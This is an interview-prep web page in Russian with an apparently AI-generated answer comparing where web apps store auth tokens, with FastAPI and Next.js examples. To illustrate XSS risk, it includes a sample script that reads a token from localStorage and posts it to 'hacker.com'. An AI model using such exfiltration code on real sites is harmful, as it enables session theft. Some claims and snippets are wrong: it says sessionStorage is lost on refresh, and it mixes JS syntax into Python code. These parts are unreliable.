← Назад к вопросам

Где лучше хранить данные для авторизации?

2.2 Middle🔥 222 комментариев
#JavaScript Core

Комментарии (2)

🐱
claude-haiku-4.5PrepBro AI2 апр. 2026 г.(ред.)

Ответ сгенерирован нейросетью и может содержать ошибки

Где лучше хранить данные для авторизации

Это критичный вопрос безопасности. Где хранить токены и данные авторизации — определяет, насколько защищено приложение. Разные места имеют разные преимущества и недостатки.

Главные варианты хранения

1. localStorage (НЕ РЕКОМЕНДУЕТСЯ для критичных данных)

localStorage — простое хранилище в браузере:

// Сохранить токен
localStorage.setItem('accessToken', token);

// Получить токен
const token = localStorage.getItem('accessToken');

// Отправить с запросом
fetch('/api/data', {
  headers: { Authorization: `Bearer ${token}` }
});

Преимущества:

  • Простой API
  • Есть везде (старые браузеры)
  • Персистентен (не удаляется при закрытии браузера)

Недостатки (критичные):

  • Уязвим для XSS (Cross-Site Scripting)
  • JavaScript может украсть токен
  • Видим в DevTools
  • ОЧЕНЬ ОПАСЕН для auth токенов
// Злоумышленник может запустить этот код на сайте
// (XSS атака через infected.com/malicious-script.js)

const token = localStorage.getItem('accessToken');
fetch('https://hacker.com/steal', {
  method: 'POST',
  body: JSON.stringify({ token }),
});

// Токен украден!

Когда использовать:

  • Некритичные данные (например, язык интерфейса)
  • НЕ ИСПОЛЬЗУЙ для токенов авторизации

2. sessionStorage (тоже НЕ РЕКОМЕНДУЕТСЯ для токенов)

Похож на localStorage, но удаляется когда закрывается браузер:

sessionStorage.setItem('accessToken', token);
const token = sessionStorage.getItem('accessToken');

Преимущества:

  • Автоудаляется при закрытии браузера
  • Остальное как localStorage

Недостатки:

  • Все еще уязвим для XSS
  • Видим в DevTools
  • Потеряется при обновлении страницы (иногда хорошо, иногда плохо)

Когда использовать:

  • Очень временные данные
  • НЕ для авторизации

3. HTTP-only Cookies (РЕКОМЕНДУЕТСЯ)

Http-only куки — это безопасная опция. Браузер управляет автоматически:

// На сервере устанавливаем куку
response.setHeader('Set-Cookie', 'authToken=xyz123; HttpOnly; Secure; SameSite=Strict');

// На клиенте JavaScript НЕ может читать эту куку
console.log(document.cookie);  // authToken не видна!

// Но браузер АВТОМАТИЧЕСКИ отправляет с каждым запросом
fetch('/api/data');
// Браузер сам добавляет: Cookie: authToken=xyz123

Преимущества:

  • ЗАЩИЩЕНА от XSS (JavaScript не может читать)
  • Браузер отправляет автоматически
  • На сервере возможны различные защиты
  • Стандартный HTTP механизм

Недостатки:

  • Уязвима для CSRF (Cross-Site Request Forgery), но решается через CSRF token
  • Все браузеры поддерживают куки
  • Есть ограничения по размеру (4KB)
  • Требует настройки Secure и SameSite флагов

Правильная настройка:

# FastAPI пример
from fastapi.responses import JSONResponse

response = JSONResponse({'token': 'xyz'})
response.set_cookie(
    key='accessToken',
    value=token,
    httponly=True,  # JavaScript не может читать
    secure=True,    # Только HTTPS
    samesite='strict',  # Защита от CSRF
    max_age=3600,   # 1 час
)
return response
// На клиенте просто:
fetch('/api/data');
// Куку отправляет браузер автоматически
// JavaScript не может даже прочитать токен!

4. Memory (переменная в RAM) + Refresh Token в Cookie

Этот гибридный подход считается оптимальным:

// В памяти браузера (теряется при обновлении)
let accessToken = null;

// При загрузке страницы, получаем новый токен
// используя refresh token из http-only куки
async function initAuth() {
  const response = await fetch('/api/auth/refresh', {
    credentials: 'include',  // Отправляет куки
  });
  const data = await response.json();
  accessToken = data.accessToken;  // В память
}

// Использовать в запросах
fetch('/api/data', {
  headers: { Authorization: `Bearer ${accessToken}` },
});

// При обновлении страницы accessToken теряется
// Но refresh token в куке позволяет получить новый

Процесс:

1. Пользователь логинится
2. Сервер отправляет:
   - accessToken в теле (в памяти браузера)
   - refreshToken в http-only куке
3. AccessToken используется в Authorization header
4. Когда accessToken истекает, используем refreshToken из куки
5. Получаем новый accessToken
6. При обновлении страницы с помощью куки получаем новый accessToken

Преимущества:

  • AccessToken в памяти (быстро и удобно)
  • RefreshToken в безопасной куке
  • При обновлении автоматически восстанавливается
  • Защита от XSS (accessToken в памяти, не в хранилище)
  • При закрытии вкладки accessToken удаляется

Недостатки:

  • Требует правильной настройки сервера
  • Нужна логика refresh токена
  • При перезагрузке страницы есть момент без токена

Сравнительная таблица

МетодXSS SafeCSRF SafeПерсистентенУдобно
localStorageНЕТЗависитДАДА
sessionStorageНЕТЗависитНЕТДА
Http-only CookieДАТРЕБУЕТ CSRF tokenДААвтоматическое
Memory + RefreshCookieДАДАPartialДА

Реальный пример: Next.js приложение

Плохой подход (localStorage):

// auth.ts
export function login(credentials) {
  return fetch('/api/login', { method: 'POST', body: credentials })
    .then(r => r.json())
    .then(data => {
      localStorage.setItem('token', data.token);  // ПЛОХО!
      return data;
    });
}

// Использование
export function useAuth() {
  const token = localStorage.getItem('token');  // ПЛОХО!
  return {
    isAuthenticated: !!token,
    token,
  };
}

Это очень уязвимо для XSS!

Хороший подход (Http-only Cookie):

# Backend (FastAPI)
from fastapi import FastAPI
from fastapi.responses import JSONResponse

app = FastAPI()

@app.post('/api/login')
def login(credentials: LoginRequest):
  user = authenticate(credentials.email, credentials.password)
  if not user:
    raise HTTPException(status_code=401)
  
  access_token = create_access_token(user.id, expires_in=15*60)  # 15 мин
  refresh_token = create_refresh_token(user.id, expires_in=7*24*60*60)  # 7 дней
  
  response = JSONResponse({'ok': True})
  response.set_cookie(
    key='refreshToken',
    value=refresh_token,
    httponly=True,
    secure=True,
    samesite='strict',
    max_age=7*24*60*60,
  )
  # Access token в теле (если нужен для CORS запросов)
  response.set_cookie(
    key='accessToken',
    value=access_token,
    httponly=True,
    secure=True,
    samesite='strict',
    max_age=15*60,
  )
  
  return response
// Frontend (Next.js)
import { useEffect, useState } from 'react';

export function useAuth() {
  const [isAuthenticated, setIsAuthenticated] = useState(false);
  
  useEffect(() => {
    // Проверяем авторизацию на каждой загрузке
    // Используя refresh token из куки (браузер отправляет автоматически)
    fetch('/api/auth/check', {
      credentials: 'include',
    })
      .then(r => r.json())
      .then(data => setIsAuthenticated(data.isAuthenticated));
  }, []);
  
  const login = async (email: string, password: string) => {
    await fetch('/api/login', {
      method: 'POST',
      credentials: 'include',  // Браузер отправляет куки
      body: JSON.stringify({ email, password }),
    });
    setIsAuthenticated(true);
  };
  
  const logout = async () => {
    await fetch('/api/logout', {
      method: 'POST',
      credentials: 'include',
    });
    setIsAuthenticated(false);
  };
  
  return { isAuthenticated, login, logout };
}

Защита от CSRF при использовании Cookies

Когда используешь cookies, нужна защита от CSRF:

# Сервер отправляет CSRF token в заголовке
@app.get('/api/csrf')
def get_csrf_token():
  token = generate_csrf_token()
  return {'csrfToken': token}
// Клиент получает и отправляет CSRF token
const response = await fetch('/api/csrf');
const { csrfToken } = await response.json();

await fetch('/api/data', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': csrfToken,
  },
  body: JSON.stringify(data),
});
# Сервер проверяет CSRF token
from fastapi import Header

@app.post('/api/data')
def post_data(data: DataRequest, x_csrf_token: str = Header()):
  if not verify_csrf_token(x_csrf_token):
    raise HTTPException(status_code=403)
  
  # Обработать запрос
  return {'ok': True}

Best Practices

1. НИКОГДА не используй localStorage для токенов

// ОПАСНО!
localStorage.setItem('token', jwt);

// Вместо этого:
response.set_cookie('authToken', jwt, { httponly: true });

2. Всегда используй Secure и SameSite flags

response.set_cookie(
  'token',
  value,
  secure=True,      # Только HTTPS
  httponly=True,    # JS не может читать
  samesite='strict', # Защита от CSRF
)

3. Используй short-lived access tokens

  • AccessToken: 15-60 минут
  • RefreshToken: 7-30 дней

Тогда даже если украли токен, его использование ограничено по времени.

4. Проверяй авторизацию на сервере

# ВСЕГДА проверяй на сервере
@app.get('/api/protected')
def protected_route(current_user: User = Depends(get_current_user)):
  if not current_user:
    raise HTTPException(status_code=401)
  return {'data': 'secret'}

Вывод

  • localStorage: НЕ используй для токенов (уязвим для XSS)
  • sessionStorage: тоже НЕ используй
  • Http-only Cookies: ЛУЧШИЙ вариант для auth токенов
  • Memory + RefreshCookie: отличный гибридный подход
  • Главное правило: JavaScript НЕ должен иметь доступ к auth токенам
  • Всегда: используй HTTPS, Secure, HttpOnly, SameSite флаги
  • Всегда: проверяй авторизацию на сервере, не доверяй клиенту
Где лучше хранить данные для авторизации? | PrepBro